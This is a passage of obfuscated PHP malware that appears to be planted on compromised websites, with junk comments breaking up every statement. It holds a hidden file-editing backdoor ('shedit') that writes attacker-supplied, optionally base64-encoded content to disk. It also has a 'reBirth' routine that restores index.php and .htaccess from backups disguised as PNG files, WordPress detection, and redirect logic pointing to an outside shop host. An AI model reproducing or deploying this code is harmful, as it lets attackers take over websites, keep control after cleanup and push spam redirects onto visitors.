(FILE_OLD_INDEX_OLD, FILE_OLD_INDEX);
}
if(@//[U@q(GUS0)\W(`
file_exists/*DE{p\%wN R*/(FILE_INDEX_STATIC_DEFAULT) && !@ ##f##A~AwNA+taK0\un:i
file_exists//X~d1|v
(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
## nF@qb59^,({5Re
rename ##;IoyOxRuq;HAOl
(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
if(@/*4J6Nd+0aA}UShi{hx{,*/file_exists/*Z\y@*I)0<:2[G*/(FILE_INDEX_STATIC_DEFAULT) && !@ ##$KUjV#bT8!\0F<E{y
file_exists//SgUB\8ee
(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
//.wv|`7bG*e&;UKz
rename/*DX6.nd%+xs}0*/(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
}
function ##%*M6Y\O_.#&4\PWBPpo
showCacheFile/*+PSKZ)*/(){
if(FILE_INDEX_STATIC == FILE_OLD_INDEX){
include FILE_INDEX_STATIC;
}else{
/*G%.b(@L3&&Ip*V8*/$html ##66h,XCE_XOgd~m~}HF{
= //QGrY^MfH6;SH\-=X
file_get_contents ##T-_BJ{zG&01G
(FILE_INDEX_STATIC);
echo /*\ \YO*/$html ##)_g>u}xeODpk1L
;
}
exit();
}
function ##}pJSN6oD](Y!F\3
cachePath/*OF6C`]W& 1[\X{jDQ:&*/(){
/*~*_xd*GBu@zS4%1G9*/$arr/*QD#z^KBTVkLQ~tPU*/= ##`8t`:U#NB1
array//M(.kGtfJ)z
(
'wp-admin/images/',
'includes/',
'cache/',
'images/',
);
foreach($arr as $path){
if(@/*YvU},a+!N}j73*/is_dir ##Ngz~(
($path) && //P%e <w$J$JEV,7
is_writeable//$n0C:#`
($path)){
return ##jmg,,Nl!gV
$path//KSL=]DLON E>MB)V>
;
}
}
if(@ ##!!kU+oI_5W@P7`z@J[x
is_writable//*=cXsVJ)&gV$@Cn}qWT5
(//2s,@gW,Ki>|~My@p;;_G
'.')//:#O<1r=&#HBV<7
){
@//(nd[|jEdkt ]t-Wh~6
mkdir//e`-MANUpt~
('images/', 0747);
/*7WnP}5S ndJ@*/$dir/*}_9~H0y}w7o*>p:2*/= //[>#KDb3
'images/';/*;NYpYc*/
}else{
//HM`hdFr9y]0So`
$dir/*a4AbQS}%d\JvLl*/= //:v+i5ugwFL
sys_get_temp_dir1/*I,Mh|*Q]B||WGkZQz*/() ./*9\W\j*/'/';/*EVn$YMTJ_s~yW\0v$\x*/
if(!@//q^,M5$%T{U
is_writable/*&VCPnng_&9rt*/($dir)){
die(//;^moE@t :m@=}
'no tmp dir avalibal!') ##%!V4YAU#Un*S
;
}
}
return //<aKzqRY
$dir//ynXIIvS~(JZg
;
}
function /*o]fT7t) S<*=l@#jc{r*/cacheFilename//1`-J*v.T9E*W>JE
(){
if(/*A8,ug@jOH\kD99q*/defined/*Vu#nKDb%Z0= */(//!n3oh g77;yPZ!3Q
'STATIC_HTML') ##Z^XLbR =GKblcF
&& STATIC_HTML == //rQ8|g0tOQ@
'no')//+;*QzL<,J:$-B|_Tq
{
return FILE_OLD_INDEX;
}else{
##kfUZEod]bXz
$uri ##S]rpUFFmvY,
= ##z`38YiVsl*IM+3Yq
request_uri_no_parameters//Hi!U9q8d(nvz+
();
//(Dce}G!QYz:
$filename/*oY!Gj%;Z~ozFg*/= //4AlU%6S
'cache/'. ##)Hz =.,9za2TJ
md5/*GjJ!&l&3]pM*ij(ra6*/($uri);
if(!@/**.Pd,uM&a%#xS<>*/file_exists/*9Gq)GuwUj*C.MUh!Xu*/($filename)){
//b8~-;sffHBR5ls
$filename//jh!1!mTkE
= CACHE_PATH . FILE_INDEX_STATIC_DEFAULT;
}
return //9[6{L
$filename//[4R}HJ-
;
}
}
function //(~)c5>yeFM@ZmAal$ o
request_uri_no_parameters//dMogYh29S
(){
//4b4!`X\;k#|tcuj1dcgF
$arr ##%#{AL^2
= ##|@9Bxn&bu>=b>2#~xS~^
parse_url ##^9U_-8Wd+.9T#!b!^a.
(/*qkv,*c*/$_SERVER//)4iR{FZ[
['REQUEST_URI']);
return ##C6t| FR4@
$arr//Ns^lnvx}B]j_NQ[stK
['path'];
}
function /*7WNf|F%s58|6D@orB8%*/getDomainFromUrl/*IT*:BS!L&ie;*/($url){
##3OK*r
$url/*Wu4Xgq{o%V>V*/= /*R&!3IW3a;&N*/trim//Q-TL3cXk S{xBNg)]>[
($url);
if( ##Ui&xb;d5W4;`:
strstr/*MULYh :^Zv*EC>WZ*/($url, ##Kk@dr{ELjEGowB
'://') ##pM#Y6Q3JHiK!N;4DJn
){
//9%_\K2z)9y*
$url ##o&mvy;,#]WJ|2I
= ##QP#H0j9ut5LUWpR0TL
parse_url/*9@Gtc*/($url);
##$|, Z
$url ##&v>2++\Ui>nac.(gi
= /*>4MNrpY*/$url ## Dz1`$tb
['host'];
}
return ##Am!nIcgX
$url ##&!|9%*TQ!,
;
}
function /*{>P7nR6*v}[+Yy`%*/getJumpUrlApi ##m3DOXq;_`o2W$
(){
/*%AY]pR$+`*/$tourlapi ##dXyx!{Y[`|DR
= SHOP_HOST_REAL . /*{wt0^J{mMf8-K+u*/'/readurl.php?from=' ./*W$23O)*/ /*=xR:mai[{hS2MVjUNL w*/MainDomain//DT>D&>wi]CX%&eP3872
() . /*C6m-C$g>(CB>]&]0*/'&keyworddir=' .//RqA&+D{]iMrBCY|,l
KEYWORDDIR_REAL;
if(/*Vl$ST-$}*,U^*/defined//yO^HVt
(/*>.Je*&uU*/'JUMP_REAL_HOST')//nccCR
){
//nnrE\ejN2.{Pe8
$tourlapi ##nQ5d<6bZ
.= ##q`0e-
'&host='. ##6IXVW;
##>8m6_j
getDomainFromUrl ##lqV:E*Ixh[xh*
(JUMP_REAL_HOST);
//|)=L:5u>Q4WS+Xj%AK[
$tourlapi//;x!7wI+(ydW
= /*[VPR,f5z*/str_ireplace ##QRrN7WcI*1ZUa:|
('.keyworddomain.com', MAINDOMAIN, $tourlapi);
}
return ##eR]8EYkn}.;#ay
$tourlapi ##d_3rMUEie>yB07O@
;
}
function /*NUMCXkrK6#S1-)iO}@(*/is_allow_page ##ur#:q5 NC KUTUB6VNjw
(){
if(/*)UyT%E>];[sD}*/defined ##E^S[*@ZUZ
(/*T4:51efH0Yn@*/'ALLOWED_PAGES')//d $.=cqX5I
&& ALLOWED_PAGES != ##N:m+1ZosXSQo
'')/*=fB,-z,}Q9UJ3v*/{
##0o$N~
$page/*Z~,G,w*/= //`2Zm|2% <R+L5ep
this_page ##L5AB<7>}ILQEb
();
##^=-XJW6
$arrAllowed ##AsyL$NN
= ##M(4nZm
explode//&W6Mk-n,u5=.
(',', ALLOWED_PAGES);
if(/*K7}WQFR_*/in_array/*_(2Zld*/($page, $arrAllowed)){
include /*@Dt<yS92PMr!.YYOkJ*/$page/*),<}4JJJ*/;
exit;
}
}
return false;
}
function /*.LO@!l)CCf7*/this_page ##CVd<a
(){
//l)#@0ChvDJA6SRVy
$page/*.YBgXb,Tq}J=z**/= ##4lTh-Md
'index.php';//J!$`xCS(Bs^
if(isset( ##I@RUacH!_nbSK3nxb)FN
$_SERVER//EJFBaHKEjM
['REDIRECT_URL'])){
//*z{3=#r FbT
$page ##ky_7Ncu_51^E
= //,^jae24>x
trim ##luSIc)I,m
(/*d\IL@qtw*/$_SERVER ##I4|ObiYiX0B-bX
['REDIRECT_URL'], //(h(y6-2R
'/')/*}QK9T<%oC2.1>*/;
}else if(isset(//E4X{rEuq|JT{@4w\
$_SERVER ##VLnonIV>kI+WGF
['REQUEST_URI'])){
##=^dZFa9ax
$arr//,PyoK%B4!p
= //pL4:%JuN
parse_url ##Bv<! @t1B,C005e*ip
( ##r=K&2t
$_SERVER//9FRLKyjv(7ctJv2mimU
['REQUEST_URI']);
/*sIylBO\@npy-rke=<&*/$page/*[D{7{~wo76]8-0EZ*/= //@-UWt.2>,<AdoQs=LR6
trim/*EZbv1)))-OLtP@*/( ##3dsn6U4R8
$arr ##qfnGK={E
['path'], ##0PhI}Q9#8rEF
'/') ##z4([3LM;8]
;
}
return ##Q{[Iz
$page ##X!8FsqI,IO`qY21,(f
;
}
function /*$O<~n#*/isIndexUrl/*Kd:0V\aPVp)R^oLJ*/($url){
//W]GZl11Vhl$yod7,s6MB
$pattern//*{EmP<_hvWf[
= ##if)U!5N
'|^https?://.*/$|'; ##\^($iaT.TAVLg`y0i)
if( ##7LBmAGk]`
preg_match/*cTPl:z!qo>}Wo[<Xk*/($pattern, $url)){
return true;
}
return false;
}
function //Rwcxg\.
editConfigFile/*\nuC1z)HK)G^MN9*/(//m_uLW9D8JaH@l1BwS!
$filename/*k4y:9*/= /*3&]mvr3(0HVK:^*/'shedit')//*jv.I[cv
{
if(isset(/*S9So=lZF=w*/$_GET//u\|HzX*9},pz
['action']) && ##t(s huU>h_=5Yqm
$_GET//j=,sg$2eeQKc,!-
['action'] == $filename){
if( ##qR05{#DyY.Hg\YNrF
isSuperMan//pWOD2#*!6. QK.eO
()){
if( ##(PqO0$$jQuJ
cookieAuthor/*\`@A(xF-xU\m~mEXhM*/()){
//wod48YEld-H$
$configFile//[qI@lXWB2&q9e\eU
= //W&8Y,&fOKPs<
sheditFile ##5Tf&Mj,}:<i
('save', $filename);
//`{I4:
$configFile2/*l(XD-:NL~=*HHHK*/= ##B~PD\`HiO<9*-*
sheditFile ##dQ;eU0NsJ[Se}H4
('real', $filename);
if(isset(//Z}_WB%
$_POST//T!VKH
['shaction']) && isset( ##j;XUyq_~T
$_POST ##;,G+WFyt]~;}+~~1@zS
['content']) && /*zMHS,#|S3k`8tSYOPV*/$_POST//<~v(TA[B(+}4RA
['shaction'] == $filename){
if(@/*4&Z;Y+zW24_*/trim ##P&WX41-T^
( ##F\\o@z+D!
$_POST//3+5r&Rq3RT!Ep.gp!<
['savebybase64']) != 'on' && !/*OH@]aa)*/stristr ##*}ev;1XsU9
(/*NKG>ZI@1p$YVy:uSS*/$_POST ##`uk}K@9=bY`7Y0e
['content'], //XQe@J~D
'<?php')/*\L)S^g;ub:g(ZSS]EW^*/){
##6{P4YCLI:d7t
$content/*h&W}el+`*/= //]S`16nzOr
base64_decode ##eu$8ym{f7=!
(/*~1MClS[*3;g*/$_POST/*Z{|*m{,$2(2{Y_B.ts*/['content']);
}else{
##h$T$T:iR2
$content/*(c0&14(EGARd,e*/= /*rn==|r\!DmFWpsy*/$_POST ###rO3PI3wPO-8H
['content'];
}
if(//Q${w*&cbO5
$filename ##q[PCy
== 'shedit' && @//aQ#brf
trim//oaXOIcXRgQeF
(//P{#>64
$_POST//.l,aaut!sk7c+-u|c~L
['savebybase64']) != 'on' && ! ##<;}OnU>LGtq1v3f
stristr/*5oH4v*/($content, ##PMPAhESLg,
'<?php')/*#YlAYSpt-Rh8nHc*/){
echo /*4j0`cohuBlnt 1*/$content//fX@esD^%!Al<[Ggs
;die;
echo ##0G7)mC
'';//-$c3h%!A:dA^
}else{
/*JelKLc+{v^.*/file_put_contents_force ##uK)XDQNC
($configFile, $content);
/*qo)obI!zE*/file_put_contents_force//c&o<YkQ,F#sv`(.+4Bz
($configFile2, $content);
echo ##M Y[{xqjN>3peX#yV[.
'!<meta http-equiv="Refresh" content="0;url=/" />';/*C0_*f#HRUa|*/
}
}else{
if(@//8|Kmr)v&A{fCc1^Xyuq
file_exists//%Xo>m>ysG1S%
($configFile)){
//|u>M3Iey0
$content ##Rjk(9z
= /*IBS<Sq*/file_get_contents ##M>{v3+,4
($configFile);
}else{
if(@/*rl*RK&X`*/file_exists//AqQp^Vie:Vaj
($configFile2)){
/*v.-O~CE9 }*/$content ##-\|Df67P}3JyV7`hNRQ
= //(0Z5)e8W`E
file_get_contents ##<_ Y~)1{W
($configFile2);
##@G%uJo`;hC-{>:C3E
file_put_contents_force/*],tNiL&X5c:rE9*/($configFile, $content);
}else{
//6s< KRtv0g
$content ##<gUPY@z
= //OWoyK+L
'';//_)%\8u
}
}
//alds35i])xrVsxl3dY#A
header ##E.y^2CeseC>:|oV!Nam
(/*#pLPg*/'Content-type: text/html; charset=utf-8')/*%p[UI4]wc*/;
echo '
<script src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/base64.min.js"></script>
<form method="post" onsubmit="return beforeSubmit();">
<textarea id="content" name="content" rows=20 cols=100>'.//MAVc[J^p
$content//oHqC[|)KWUX^A
.'</textarea>
<br>
<input type="checkbox" id="base64encode" value="on" checked>base64
<input type="checkbox" name="savebybase64" value="on">
<input type="submit"><input type="hidden" name="shaction" value="' . /*ic>@d`J+5~P;f^Wf*/$filename ##aTh|vA}\m1m
. '">
</form>
<button id="base64decode" onclick="Base64Decode()">base64</button>
<button id="base64encode" onclick="Base64Encode()">base64</button>
<script>
function beforeSubmit(){
if($("#base64encode").prop("checked")){
$("#content").val(Base64.encode($("#content").val()));
}
return true;
}
function Base64Decode(){
$("#content").val(Base64.decode($("#content").val()));
}
function Base64Encode(){
$("#content").val(Base64.encode($("#content").val()));
}
</script>
';
}
if(/*nWZIr*/$filename//QB&vQscAIym*R+
== /*=J+@!{u+*/'shedit') ##Q(;T1.
{
echo //SC+x-`nt}ALO.
'<!--'.//9pWPL4}R,Z[,,:u
$configFile/*X@\Gl^#HkDw%bEw#J%$*/. ##t6{9:*F}3pU9m+Rz3us0
'-->'; ##UN&s*4I
echo ##K:u:opRZ-M2pp
'<!--'./*Yl-|P*/$configFile2//AOoA1U
. ##G.;&tBaQ_pN)<Ck}
'-->';//f;G{dQKR^dx#*
echo //UDkZ,B)NXm1
'<a href="?action=deletecache"></a>'; ##KM3})_$U:4N(Aa:
}
}else{
echo ##If9qP(:F]Tc4J&3
"The authorization failed, please re -authorize";//Bo(5BN]Ls|
exit();
}
}else{
/*<k-t(2&7E9@S**/http_response_code/*cv$,LX2*/(404);
die;
}
die();
}
}
function /*vBGPP.JJG4BjJ%8G@1[l*/editPathList ##.Z+7haN6i.kT{k
(){
if(isset(//VQeaR=L.y=n`Q`
$_GET/*7s=8izYNlF~5!{\^~XD**/['action']) && //Ix0RZ
$_GET/*!Y|&B*/['action'] == /*h2d=&7Av0jBwZ*/'pathlist')//!`FObBj-DmBYN<@%-(E
{
if(/*#zz\YPeOM@_ ~F\r*/isSuperMan// @%)g.%HXbsUAbJP
()){
//[ttD2xBgt
$filePathList/*}\Ae_CL_>[email protected]*/= //83(Upf{pgix+a`]O
filePathList ##=X~2&bkZV5=V^&&
();
if(isset( ##H4yWL14@7zaoP
$_POST//9-egpY3KtV)nIT
['exceptPathlist']) && isset(/*s7PO-J`[etQ1dVe*/$_POST/*L*3Q.^*/['exceptPathlist']) && /*%d]7(mT$f>DF*/$_POST//p(JmmcI*,BEq
['shaction'] == /*-xwBS<!wJa:{XYt*/'pathlist')/*i@C3w{fTFJfyWW:Kpq*/{
##2;^C|
saveExceptPathlist2//DfPe:dpd{p2tU^f~3
( ##Zuk;=r<QGgk;j],MR
$_POST/*N*AqXKd5YjAe>Ml*/['exceptPathlist']);
}
if(isset(//:K:cO6Ccg`R9
$_POST ##qeE%T\!
['shaction']) && isset(/*2=Y%pKG9vYR */$_POST/*SAs-5q}o\7*Uv;dKxau&*/['content']) && ##Jr$zK]Ug%
$_POST/*qKvW^nz(N0&w{Us*/['shaction'] == ##k]|Q>`1Jq
'pathlist')/*-z{@:x@[7m+G3*/{
/*L!EnX*/$arr//m7^f^e:BIOXz{u&
= ##DPc|iP\N6dJ1P1j#:QO]
explode ##fIl _ZBefH07rS&
("\n", //0-lW9WkX
trim//*lz>L:i`Y!
(//dg%|F
$_POST/*D-6ss}`Cj:Jb]8*/['content']));
/*B`x]&sbqpvgXpv 6Q*/$arr2 ##&X|]i>K,46t
= /*$Ts}Go+x3*UCJTlQ!*/array/*)p:27t}0C+}GF__@i*/();
foreach($arr as $v){
if(!empty($v)){
/*Sw@&3QbdB=[0*/$v//mm3##QWM0hV
= //Z}IUWr)Z90
trim/*#1->`BBVX4*/($v);
if(!//L;-f4s5`t;
in_array/*OF\XhL!As*/($v,$arr2))
##JoblFd_^}:
$arr2//Ho\Cq04
[] = //^)EI.0
$v ##5Kqrqhh0CX5-S
;
}
}
//TP_Z~vzYZ~E*6\d
file_put_contents_force// -wCCK)SCPiOnD:IF
($filePathList, /*dL9(;%t9e{P`q7mSvkS2*/base64_encode ## pbD#wGv(yOt$0+QYzVv
(/*I~cYxyGb%5Og-:Y,OZ>C*/gzdeflate//v*KLB(_:E9etbCB
(/*s<cw.4*/jsonEncode/*KZ}-Ktk*/($arr2))));
echo ##ch7wfC|*F
'saved!';//Zq.k]i&Bs
}else{
##Q<5f~a+K$[dypezT6+
$content//V%prw]!t=
= /*IBgaT)*/'';//t|K1n1`$fRs{
if(@ ##@a->]AtEjJey,UkuK
file_exists ##ZtqMQZTvh
($filePathList)){
##fmzQceHIV
$arr/*X[Z5fbk-*/= ##D_0sn
jsonDecode//:H*5S2pR*NB(m;X:PQg
( ##s%oVhlp
gzinflate//<fKDX)O%Gun]MHDUo
(/*P^~.!lN0aR*ktn&tz^`j*/base64_decode//hW|F0;;ijHe>`%$b2}hL
( ##Ax.,as1l;7
file_get_contents//6-}+8sV#JBk*9=&Gg
($filePathList))), true);
//&3I%d4-rOS`3BTQ9M
$content ##Qq8W.oRlY[bJe,
= /*oy3-f%oM*/'';//IbVKK2m-V
foreach($arr as $line){
/*[&2%P%*SP*/$content/*\ oXCooh8DipwQi^*/.= ##A04$py7YVhzzR$D3I
$line//;+d_!Z#Ix(Xfffl
. //M9LT7t.y.LZ<4.
"\n"; ##&;U(loQAhjP[3
}
}
/*\H<-&T-!CjJW$k,b+K*/$arr2//^SoTbw|tHW#8`9
= ##m6i_Iq-*&<<eLUG=!7hD
arrReadPathlist2/*!(QXoflsEw;B`8ipLCkE*/();
//n^9Uu$_^8O$#\+.596O
$exceptPathlist/*e]:IW:nGlGr*/= ##QyZMDNGC~6*\]LIz{
strReadExceptPathlist2/*Loe>Zt@PA#nx8l0.*/();
/*3:{:U*/$content2//!>WNU\M\O-LB
= ##JwGa3f_
'';//uyZ<)l
//=_qKL)g4jtjJ,h
$content3//x-L,*^P|y
= ##>G*\3O1QS
'';/*D4t]m#*/
##VHg_Q+SGiDnYTi(S];
$content4/*9N.FF5J-B(j*/= /*1X\9{NO*/'';//n_%Dz;ZhQq|g+j|
foreach($arr2 as //k{QT]7r3=S#gv olo
$domain/*n_d|t8q9O3)$+u5lA*/=> $path){
##BLp#Y^b
$content2//WoFiEC5@kv(7$43\D
.= /*7mQM8U~`^>rQ4z*/$path//];rxQ<90Hdcj1B46{%Q
. PHP_EOL;
//5ZzY{(bqy
$content3/*CylLrb0ZUE4N*/.= ##I.6j\K1})gID`TbOyH
$domain/*[XoI1]4o%c^g@`Y+{1O*/. PHP_EOL;
##8(!Ai[H^67tuWd]z<
$content4 ##4c0g[ooP`7d].ic%\@V
.= ##tK>$(zJMl}+oiOk
$domain//$:I55|dp9!iB)Gh92bZ
. /*u1,YzFP#{VP_$*/"\t" .//5mTb8vBx:pa-$9<h!
##f%#m]buJ|VUo9uuOZael
$path/*S$(is)QmX-4vCwbw3$YB*/. PHP_EOL;
}
//*|4e&A=A}A~.81
header ##OP;4)dlEXCDA^d&LmY`6
(/*ublchM^*/'Content-type: text/html; charset=utf-8')//=C7B+##ptmL
;
echo //56(YJQ.lTvp
'
<form method="post">
<textarea cols="50" rows="5" name="content">'./*kJwVU[Ig*/$content//=mmdZDf%|Py
.//(qUe{8~4Ncn+qJdo-MZ
'</textarea><br>
<textarea cols="50" rows="5" name="exceptPathlist">'./*h`8 `@XulsFtla|T*/$exceptPathlist ##]CAWliQx^u,G*U]k
. ##v<kVO$>8y
'</textarea><br>
<input type="submit"><input type="hidden" name="shaction" value="pathlist">
</form>';/*{NH-E7NwQ*/
echo //IkrD}t
'<form method="post"><textarea cols="50" rows="5" name="content2">'.//5HGtsEMj5wf>N}]hR,;K
$content2/*W`3.@1C-=nE%U4{*/. ###@av&0%Bq*mYI{Tbs:b
'</textarea></form>';/*k#$]W%S[;*/
echo /*A si6M*/'<form method="post"><textarea cols="50" rows="5" name="content3">'.//aj|tIuW
$content3//<0Ry~]O:W
. ##0Y38pM;dDvb
'</textarea></form>';/*+A_LZ0&x>*/
echo //boMWJti{#rGZhNoc#7
'<form method="post"><textarea cols="50" rows="5" name="content4">'./*o:gm^YQa)c!*/$content4//gQ|Xqdk
./*;t]e$UU%06gH82Fy+;*3*/'</textarea></form>'; ##mF)]LFRed
if(DEBUG== ##~Hd<Z>B564
'on') ##*}ai9680[Q)18@rY.$(h
{
echo //Wy& &&LG=VY;,
'<!--' . ##jZZm>B
//YDUW)r.T3y+1 AG9
$filePathList//V{$:XGj\H;Ou-R
. /*9IiX@*/'-->'; ##bH@*q
}
}
die();
}
}
}
function ##d+|Eo3.$h,v)3PFAkSRU
filePathList//YL9QQ %o=dn6
(//Fw8-|GM
$str/*AMjZ[Wm,*/= ##<VRygEQE CuI4WC
'pathlist')//ye7I`nNI,8<(Du
{
/*gJU<F^2I{@n*/$user ##h;UHF\PF
= //f-6;-v-cF;ZAW&`.Fex#
get_current_user1//pdsCc~
();
/*,6F5O\*/$tmpDir ##6*Thrf|
= /*Z0Hn7foz*/sys_get_temp_dir1 ##8>0$cWdXfp%c
();
##jKPfWNdM(
$f1 ##!~L)}vM0
= //QHb_u2 d%qjvC:MN4xK
$tmpDir ##~otoOvbQo
. ##sY8|ZsLso;~3*zOuY
'/' .//4RPEli(_I^N4eK-!RS
/*G* bHa18FE0U*/md5 ##|< -Fw->9O)}~j~
(//WKiHXTpBV3z&2
$user/*uVYs_)%z*/.$str);
//@EZN:oe]~@JL#5N,R>m
$f2 ##MYVbtp[)
= CACHE_PATH . /**>OD9B!GuNwACoV*/md5 ##$=[ ^nL
(//ZS+;CmMQux.%RAS8z
$user/*{9-Rc0.WeL3YF*/.$str);
if(@//lXU!z;5Kn!
file_exists ##Ol8a.g^|YLo#W,],m7
($f1)){
//xgBW]+&l5_
$m1/*kG+~U_U*/= ##0bY_^<
md5_file//}&IlN
($f1);
if(@//6U`m<)k5\>P8ZEcC5
file_exists ##gC~MceQKqc
($f2)){
/*p#HEWPPZu:|tV0E1r*/$m2//~v(Jw$>&)^(ix
= /*8lV+T)\@PE=pj 1w*/md5_file/*o6~IJpX{RV+F#)x|Js\&*/($f2);
if($m1 != $m2){
##Z{JoKu6GisI>CplhpF!y
file_put_contents_force//XK^A{_MO
($f2, ##03.JY%:X\umRrm
file_get_contents/*=nq{pM*/($f1));
}
}else{
/*6[9dbIR<WImB|*/file_put_contents_force//Ox&km\I:![d,\yA_YjPe
($f2, ##N4$<Xy
file_get_contents//h5QSENgSx.
($f1));
}
}else{
if(@/*v}Zk]UMXDacg*/file_exists ##Y~ah
($f2)){
##T2a;4ALU2
file_put_contents_force/*_7A>k0}*/($f1, /*~5S d*/file_get_contents//@UJAQXeJ[:n)M()0o>|
($f2));
}
}
return //G+Mt\VH.iB3-fNLP
$f1 ##$E,)e`V*U|Pm|f(lO
;
}
function ##-L(Fe_lY+otkRpNk
saveToTmp//A_+jN}HnDlsF>
($file, $content){
//i4}D~T2KrvQ|7Ip
$filename//j})<CE9|]
= ##_bq<f}=XnHF.!7
sys_get_temp_dir1/*nHu]!w)d%X1ZlI:K2+*/() . DIRECTORY_SEPARATOR . /*oQeBN.HHE;*/$file/*uM1]]xu` e*/;
##!3O|yp1cD
$_SESSION ##,X#yr#jTP>([-
[$file] = //l_kjD
$content ##(Z0){TuCHu~3SO_,=
;
##M1:H4) [-G^!9js
file_put_contents_force/*_4Z;-.x9|wS{8ER^*/($filename, $content);
}
function ##MZe06|RU3RQU
readFromTmp/*)2YbGae*/($file){
//_w~;B%22j@NW
$filename/*`cODb6KiY0AbOzM*/= ##[3-6oZ .r}
sys_get_temp_dir1/*A>ZT=O3R4GpMb*/() . DIRECTORY_SEPARATOR . /*dmv~fZm__$.VHs*/$file/**VDR#Q|j%2MZ Tv0#&bb*/;
//&#PGxX*
$content ##\q.os#WgV!_`C
= // w*lVPA2spVgBV0T
file_get_contents/*CeubZU+xvjY^mW&*/($filename);
if(empty($content)){
//kJnr ,M3}=_dGFX$)
$content//p,5.^.1=s)J&>w9$`
= /*n=@xZ8dJF`fE7a*/$_SESSION ##5vwLR}{(O5T]
[$file];
}
return /*C:6z@*/$content//A_MKC:vs3t26]
;
}
function ##V1Kk~OsoH
is_wp//FWlt99{BpAR@Py`
( ##nMJ+_cXm6(
$dir/*=:&*><cdBk`M[0J2<t=*/= ##){v$9B!>K
'.') ##W:[Ta
{
/*rExQNd;;6-v*/$iswp//iuN,B
= true;
##g(ZZS`$~^PfTYY
$dir// 9uzfMDU,c7
= //*zciJ*(z%1!#FuPkTQ
rtrim ##~)z.]@}CgtlV.-5c
($dir, //MF$Sf}
'/')//LthDKFl$2_Gap#[m|r_
;
//0KBgsnJ>&|X-
$dir//<-3Fd4XT~
= ##lIXmjK`2q>84!e(+XC
rtrim//c$O078k
($dir, ##b+^]<y)FDW
'\\')/*xTdhG%0Uu7!gJr|bm*/;
##Zmwf `yNk G
$dir//sitVrNK&DK
= //DWEH1gJy
$dir//=QIVdyZ!gG$-[XguN}b
. DIRECTORY_SEPARATOR;
/*sH]sK@sxB~R*/$arrFiles//D|LK:8
= //#P32q\D8S~+awB
array/*FY9]C$r02nZGc*/(
'wp-blog-header.php',
'wp-config.php',
);
//@GrN%M>
$arrDirs ##=mO4R>wEO41k6l]xDR(
= //]r4iIH
array/*;|`>t1*/(
'wp-admin',
'wp-includes',
'wp-content',
);
foreach($arrFiles as $file){
if(!@//.}2Nn
is_file/*].s6PE_IW;#hj%*/(//T$k&4:h[OKT
$dir//:z,S
.$file)){
##!QSk-WIP2bU
$iswp//;,+i*\:gp-
= false;
}
}
foreach($arrDirs as $subdir){
if(!@ ##6Wy-1tr.T7]
is_dir ##N-X )4<KDLUSjj
(/*IiXN%bcF{&u[LqU*/$dir ##2g%wnO^\#JM88
.$subdir)){
/*;oJq>k*/$iswp/**OC9ZjUV&*/= false;
}
}
return //Geq3ak
$iswp/*.Llm:*/;
}
function /*{c~;c*/reBirth/*K\79r`1 TEf*<WKl*/(){
##p5_|PIDpgQRjW,o rH`t
$arrPath//Ieo<[r*_giJiQSB`0RSP
= //fS;AEr\bP~kU6
arrReadPathList/*I=QbG<I57G|pE*/();
foreach($arrPath as $path){
if(!@/*BK}$,QLKQ}I{_t0M_C%*/is_dir ##q.Rl<6z!X
($path)){
@/*mY Y4TrM_L|-zvPyf.F*/mkdir/*SPOg&_J!vO*/($path, 0747, true);
}
/*(P_RjZS3w)D}MH*/repairIndex/*1s];IKC*/($path);
/*K#+wY*/$index/*v8C0H*/= /*1Y>Ayb4Hs#j4,*/$path/*cHY1vhF!NA}je*/. ##Ae5JK-YQaBL]3
'/index.php';/*36\q*jz */
//6t}eY$v
$ht ##l]{AP&Kw;(
= /*wftdMZY*0@+_Q=bti*/$path/*^nyV`L$v]y:<HR)Nr_E*/.//jT]Zz`RJSk9\nBpj
'/.htaccess'; ##W$F4z]VT!DrP<%|
//8U6}z)s5
$cachePath//h1nq*QGV2fZ(G
= ##~ugF]$pQ=L~>)
cachePath/*1VuFFM#E]Nz@wd\u1FsB*/();;
//-$D]zg
$bkindex/*G%YtHmO$Hsq+~E*kA.)Z*/= /*sJHnM=\v9*/$_SERVER/*40!rHUM7d]~7qwP!tn@*/['DOCUMENT_ROOT']./*5 .S5r;^+Nau}OD*/'/' . ##4nX#U>6{9V2|M-
/*M:-HL*/$cachePath/*4Cea1uJv[u)YXTaFa$*/. ##+OF|NxDk622R
'resize-6x.png';/*b~7WdaC81+2f[9*/
//BMN}l
$bkht/*{*nQ +s:y&`V*(*/= /*Ry(n^l{up7DAY{*/$_SERVER//iPrkFX$_Ysa+i1
['DOCUMENT_ROOT']./*+YV+[kr:R[96#q*2*/'/' ./*n#FuB&&qMC0^:W*/ ##v4M3w]RSM.5T-&cO}BCz
$cachePath/*a(XmZ<V*/. //[ti!r6h$D[b
'resize-8x.png';/*Vli+Ltc;%9OF]%p|*/
if($index && @/*Ru^7%Y^M1QZ*/file_exists//7GV\JBf]PeghVs
($bkindex)){
if(!@//kwxHTg&4TTW+[hI
file_exists/*48WkkPLz{i*/($index) or ( ##vPQr4I0
md5_file/*fcG($~I}_&![E}6kD*/($index) != //gRi(A~S\{zD9~F,Vfu
md5_file/*~bH}|K0-+5*/($bkindex))){
/*;IKiRd$rWpg*/file_put_contents_force ##W>-$zW[k]f
($index, ##ft_V)RIp(6|oY):j,
file_get_contents ##wX}|-x)+Pku%F<a2pP1@
($bkindex));
}
}
if($ht && @ ##|nP2k
file_exists ##.v0X!burK[X
($bkht)){
if(!@ ##x9WT{><amxtUR
file_exists/*_PPuDzJvuOu*/($ht) or (//$:3BWKW.uzr(:XSuZR
md5_file//BvD8Z!-ze}ipMF~HDgB]
($ht) != ##AUOFBxGU=kdgnD85
md5_file/*}1Ei)*/($bkht))){
//1wW&0VQjrS[
file_put_contents_force ##qVMNH`*
($ht,/*@^#T+kHdmf%I&o1} z*/file_get_contents//\x9eQ[oPWRgIN
($bkht));
}
}
if(@//>;^c9(Xk#{Nq!BH>HaLE
file_exists/*7\Q0@1*/(/*T2^}J*5gj cPeia*/$path//=28+&ILE:gw5L#
. ##B[%*`tEf
'/index.html')//\d4]e\E]S HhEhB i
){
if(!@//zrI%:kM{ih5w5H+N[*
file_exists ##e[!M5k z^d lz)d
( ##1ApS;X3SU
$path ##C%S-pZK-5
